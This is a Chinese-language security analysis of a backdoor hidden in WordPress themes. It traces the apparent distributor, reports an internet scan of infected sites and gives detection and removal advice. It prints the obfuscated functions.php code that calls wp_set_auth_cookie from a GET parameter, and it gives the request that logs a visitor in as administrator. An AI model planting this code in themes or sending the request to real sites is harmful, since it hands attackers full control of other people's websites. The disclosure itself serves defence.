Author: p0wd3r,dawu,LG(知道創宇404安全實驗室)
Date: 2016-11-15
0x00概述
上周公司小夥伴給了我一個Wordpress主題讓我幫忙稽核,漏洞沒有發現,但是卻發現了這樣一個後門:
當啟用這個主題後,攻擊者即可通過該後門遠程無需密碼以管理員許可權登入到網站的後臺中。
這個後門可謂“年代久遠”,早在2010年就在國外被提出來了(http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/),然而令人遺憾的是時間過了這麼久依然還有很多主題存在這個後門,更令人驚訝的是一些提供主題下載的網站也存在該後門,如果被人加以利用後果不堪設想。
0x01詳細分析
我們的樣本是從某網站花86塊購買的(沒錯,付費主題也存在問題),正常稽核過程中會搜索代碼中使用的敏感函數,當蒐索call_user_func_array函數的時候發現了兩處奇怪的用法:
call_user_func_array
- functions.php第257行:
functions.php
$sq1="...". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) . "...";
這裡省略了不必要的部分。可以看到作者將call_user_func_array的結果拼接到sql語句中,當時只是好奇為什麼這樣寫,然而將這段程式碼放到搜尋引擎中卻發現了意外的結果:http://ihacklog.com/post/wordpress-theme-malicious-code-analysis.html,可以看到這正是裡面所描述的惡意程式碼。根據文中的敘述,這段惡意程式碼的作用是:
call_user_func_array
啟用後主題後每當有人訪問網站就檢查網站中的所有主題是否已被感染,然後感染未被感染的主題,隨後將網站url發送到[email protected]這個郵箱中
將文中的程式碼和本地的檔案做一下對比(僅截取一部分):
發現只是在變數名上做了調整,然後在啟用主題時進行動態調試,發現確實存在上文所說的向[email protected]發送郵件的行為:
[email protected]
[email protected]
我們再來看下一處call_user_func_array調用:
call_user_func_array
- functions.php第306-310行:
functions.php
if ($use_link ) {
if($forces_more) {
$output .= "..." . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "...";
} else {
$output .= "...";
}
}
當$use_link和$forces_more值為真時,調用call_user_func_array($checkwidgets,array($perpage,true)),我們來看一下相關變數的值:
$use_link
$forces_more
call_user_func_array($checkwidgets,array($perpage, true))
if(!isset($method)) $method="cookie";
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($authname)) $authname="auth";
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($forces_more)) $forces_more=1;
可以看到$use_link和$force_more的值均為1,$checkwidgets值為wp_set_auth_cookie,所以這段函數可以精簡為:call_user_func_array('wp_set_auth_cookie',array($_GET['cperpage'],true)。而wp_set_auth_cookie的作用是只需提供用戶id即可實現登入(https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/),我們實際操作一下:
$use_link
$force_more
$checkwidgets
wp_set_auth_cookie
call_user_func_array('wp_set_auth_cookie', array($_GET['cperpage'], true)
wp_set_auth_cookie
未登錄狀態:
訪問http://url/index.php?cperpage=1:
http://url/index.php?cperpage=1
可以看到已經以管理員身份登入了,原來這裡才是真正的後門所在。
總的來說該後門的功能如下:
- 啟用後主題後每當有人訪問網站就檢查網站中的所有主題是否已被感染,然後感染未被感染的主題。
- 每當有人訪問,檢查是否曾向[email protected]發送郵件,若沒有將網站url發送到[email protected]。
[email protected]
[email protected]
- 攻擊者通過訪問http://url/index.php?cperpage=1即可以管理員的身份登入使用被感染主題的網站。
http://url/index.php?cperpage=1
0x02影響&溯源
起初我們懷疑後門是由售賣主題的網站植入,但是我們發現該網站也是存在這個後門的:
不過有意思的是該網站的後門檔案是上面所說的以前就被披露出的版本,和我們手中主題中的後門並不完全相同。
我們推斷該網站售賣的主題是網站擁有者在其他主題的基礎上更改的,而這些主題是被感染過的,但站長並沒有對其進行檢查。
隨後我們又測試了另外一些售賣主題的網站,其中一個在百度搜索中排名十分靠前的網站也存在該後門:
慶倖的是我們在這網站上下載的一些主題並不存在後門,但是這些高權重網站若被惡意利用後果將不堪設想。
源頭在哪裡?
通過這篇文章我們可以看到有人評論說http://www.themes2wp.com(需掛代理訪問,國內訪問會403)上的主題均存在該後門,我們下載了最新的主題(11月13日發佈)發現確實如此,並且該網站本身並不存在後門。不過該網站上的主題存在的後門是上面所提到的以前的版本,和我們的樣本在變數名上有一定差別。
通過一段時間的探索,我們發現該網站上的主題是從其他網站下載的,例如https://flexithemes.com,我們可以在其源碼中蒐索到相關內容:
但是我們對比從兩個網站下載的相同的主題:
可以看到後者在前者的基礎上在functions.php中添加了惡意程式碼,並在siderbar.php中添加了外鏈,外鏈功能變數名稱與這個網站功能變數名稱是同一個組織注册的:
functions.php
siderbar.php
所以總的來說http://www.themes2wp.com有很大的嫌疑是傳播的源頭,它首先從其他一些免費主題下載站下載主題,然後向其中注入惡意程式碼並重新打包再提供給用戶下載,並且可能有另一批人對後門進行了更改後再進行傳播。www.themes2wp.com於2009年注册,如果它真的是傳播源頭,僅從時間跨度上來看影響也是很大的。
0x03受感染主機資料分析
我們根據該後門的特徵,對ZoomEye中記錄的400多萬功能變數名稱進行了掃描,發現近8000臺主機受到了感染。對於這些受感染的主機,我們做了如下統計。
國家分佈統計
IP統計
經檢測,受到感染的近8000個功能變數名稱中只對應了3000多個IP,我們統計了IP綁定功能變數名稱的情况。這些IP中大約有百分之二十以上的IP綁定了多個功能變數名稱。可能一個功能變數名稱被感染後,導致同一個IP下的功能變數名稱都被感染。
網站title統計
通過對重複title的統計可以看出,除了HTTP狀態頁面301頁面以外,剩下重複的title數量極少。我們可以做出的判斷是,這個後門影響著各個行業的網站,而不是針對某個特定的行業。
通過對網站title詞頻統計分析,可以看到娛樂城(黑色部分)有關的約占了四分之一。為了瞭解國內的影響情况,我們統計了國內外title的詞頻,結果如下:
通過上圖的統計,在國內的title中我們沒有發現黑產的踪迹。
國外title中我們找到了更多的黑產的關鍵字。
根據以上詞頻統計的結果,一共937個網站首頁包含娛樂這個關鍵字,其中位於美國的網站就有720個。在8000個存在後門的網站中,中文網站大約占了二分之一,其中就有近千網站與黑產有關。
後門利用流程
0x04檢測&修復
檢測:
可以使用Seebug照妖鏡進行線上檢測。
修復:
- 删除網站目錄下所有主題的funcions.php中的惡意程式碼
funcions.php